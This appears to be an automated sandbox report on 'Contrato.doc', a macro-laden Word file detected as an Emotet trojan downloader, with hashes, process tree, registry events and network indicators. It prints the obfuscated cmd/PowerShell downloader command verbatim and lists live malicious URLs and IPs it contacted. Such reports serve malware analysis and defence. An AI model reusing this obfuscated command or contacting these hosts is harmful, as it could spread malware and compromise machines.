File name:

Contrato.doc

Full analysis: https://app.any.run/tasks/55ec8548-44ed-431b-afab-0c495b5f6f8b
Verdict: Malicious activity
Threats:

Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email.

Analysis date: November 14, 2018, 20:17:02
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
trojan
maldoc-4
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Jasmine-PC, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Nov 6 12:14:00 2018, Last Saved Time/Date: Tue Nov 6 12:14:00 2018, Number of Pages: 1, Number of Words: 2, Number of Characters: 13, Security: 0
MD5:

8DF13351C96E67B0BEDC98EC767AB359

SHA1:

54059EB9BC7771F7D2C3CB94BA4779B4732AA06B

SHA256:

7C0FB0E2BCD06FC2182B48D3833173C373FC000AD30C9006E9EAD9EC1A6F26FD

SSDEEP:

768:tVzVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o9uiCcfdI9Ew69:Dzocn1kp59gxBK85fBt+a9hCB

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Starts CMD.EXE for commands execution

      • WINWORD.EXE (PID: 1716)
    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 1716)
  • SUSPICIOUS

    • Executes PowerShell scripts

      • CMD.exe (PID: 3868)
    • Creates files in the user directory

      • powershell.exe (PID: 1768)
    • Executes application which crashes

      • powershell.exe (PID: 1768)
  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 1716)
    • Creates files in the user directory

      • WINWORD.EXE (PID: 1716)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: -
Subject: -
Author: Jasmine-PC
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2018:11:06 12:14:00
ModifyDate: 2018:11:06 12:14:00
Pages: 1
Words: 2
Characters: 13
Security: None
CodePage: Windows Latin 1 (Western European)
Company: -
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 14
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
36
Monitored processes
4
Malicious processes
1
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winword.exe no specs cmd.exe no specs powershell.exe ntvdm.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1716"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Contrato.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
1768poWErShelL SET-vARiABlE ( 'F31' + 'K' ) ([tYpe](\"{2}{3}{0}{1}\" -f 'iRonMEN','T','e','Nv' ) ) ; ${ExeCUtIONContEXT}.\"INvo`kE`ComMand\".\"i`NvO`K`esCRiPt\"( ( ( vArIaBLE ('F31' + 'k' ) ).VALUe::( \"{3}{2}{4}{5}{1}{0}\" -f'E','abL','ronM','geteNVi','eNT','varI' ).Invoke(( \"{1}{0}\"-f'f','iPAO' ),( \"{0}{1}{2}\"-f 'Pr','OCeS','S' )) ) )C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CMD.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3324"C:\Windows\system32\ntvdm.exe" -i1 C:\Windows\system32\ntvdm.exepowershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
NTVDM.EXE
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\ntvdm.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
3868CMD c:\wINDOwS\syStEm32\Cmd.exe /C "SEt iPaof= ^& ( $SHeLLiD[1]+$SHEllid[13]+'x')( NEw-ObjeCt iO.compreSsIOn.DefLAteSTream([SYstEm.iO.MeMOrYstREAm] [sYStEM.CONvERT]::FRoMBAsE64striNg('PZBda8IwGIX/Si8KUZzJ0LkPQ8F94Ow+3GC64dhNmr6tsTEJaWyt4n9fK3O373l43sPx38IkUFB2dbQC7rwpOPwF0b0UoBz178IyQEvnzJCQ1DDM9RobR/Q6k7vHXvY8+sskMKvwCqytthvMFeE25b2L+JTnEsBUUU1xC8wJrfLGRQZqvuGf/eLEJdVOZAxvlDAa5xmJmWMkBU1YWvchJSvIq33/rha3/591waSEWFvMJRk8za8mk+u8P0P4w0jhWmiE2tR3u4UXeOjm8hxRfzxLAh9UMXSwNh30gzpN3kEYtoBoouuGfNnyp/LFE8prNmjvna32fr0VftClkprFYyHhyJx5jbBNQ1XoDLphLT1eaFR7MnrgzPHl/nD4BQ==') , [sYsTEM.io.comPRessIon.comPressIoNMODe]::decoMPress ) ^| FOreacH{ NEw-ObjeCt Io.sTREaMreadeR($_,[SYsTEm.teXT.ENCoDiNG]::aSCII )}^|FoReACh{ $_.rEAdtoeNd() }) && poWErShelL SET-vARiABlE ( 'F31' + 'K' ) ([tYpe](\"{2}{3}{0}{1}\" -f 'iRonMEN','T','e','Nv' ) ) ; ${ExeCUtIONContEXT}.\"INvo`kE`ComMand\".\"i`NvO`K`esCRiPt\"( ( ( vArIaBLE ('F31' + 'k' ) ).VALUe::( \"{3}{2}{4}{5}{1}{0}\" -f'E','abL','ronM','geteNVi','eNT','varI' ).Invoke(( \"{1}{0}\"-f'f','iPAO' ),( \"{0}{1}{2}\"-f 'Pr','OCeS','S' )) ) )" C:\Windows\system32\CMD.exeWINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
Total events
1 604
Read events
1 204
Write events
395
Delete events
5

Modification events

(PID) Process:(1716) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:nii
Value:
6E696900B4060000010000000000000000000000
(PID) Process:(1716) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(1716) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(1716) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1299054607
(PID) Process:(1716) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1299054720
(PID) Process:(1716) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1299054721
(PID) Process:(1716) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:MTTT
Value:
B4060000C480F10B577CD40100000000
(PID) Process:(1716) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:uji
Value:
756A6900B406000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(1716) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:delete valueName:uji
Value:
756A6900B406000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(1716) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
Executable files
0
Suspicious files
2
Text files
2
Unknown types
2

Dropped files

PID
Process
Filename
Type
1716WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR916E.tmp.cvr
MD5:
SHA256:
1768powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PTDCBI920TWC3N9U02MH.temp
MD5:
SHA256:
3324ntvdm.exeC:\Users\admin\AppData\Local\Temp\scsA488.tmp
MD5:
SHA256:
3324ntvdm.exeC:\Users\admin\AppData\Local\Temp\scsA499.tmp
MD5:
SHA256:
1716WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:
SHA256:
1768powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:
SHA256:
1768powershell.exeC:\Users\admin\AppData\Local\Temp\960.exehtml
MD5:
SHA256:
1716WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$ntrato.docpgc
MD5:
SHA256:
1768powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF5d9d26.TMPbinary
MD5:
SHA256:
1716WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lextext
MD5:F3B25701FE362EC84616A93A45CE9998
SHA256:B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
3
DNS requests
1
Threats
1

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1768
powershell.exe
GET
302
109.71.40.60:80
http://gpa.com.pt/omklzG2kK
PT
malicious
1768
powershell.exe
GET
302
134.249.116.78:80
http://134.249.116.78/index.php
UA
suspicious
1768
powershell.exe
GET
200
185.143.221.14:80
http://185.143.221.14/index.php?utm_c=clickun&utm_=land&network=g57&source=3678&affid=9675&siteid=8456&adid=32&c=380
unknown
html
699 b
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1768
powershell.exe
134.249.116.78:80
Kyivstar PJSC
UA
suspicious
1768
powershell.exe
109.71.40.60:80
gpa.com.pt
Almouroltec Servicos De Informatica E Internet Lda
PT
malicious
1768
powershell.exe
185.143.221.14:80
suspicious

DNS requests

Domain
IP
Reputation
gpa.com.pt
  • 109.71.40.60
unknown

Threats

PID
Process
Class
Message
1768
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Generic Trojan Emotet downloader
No debug info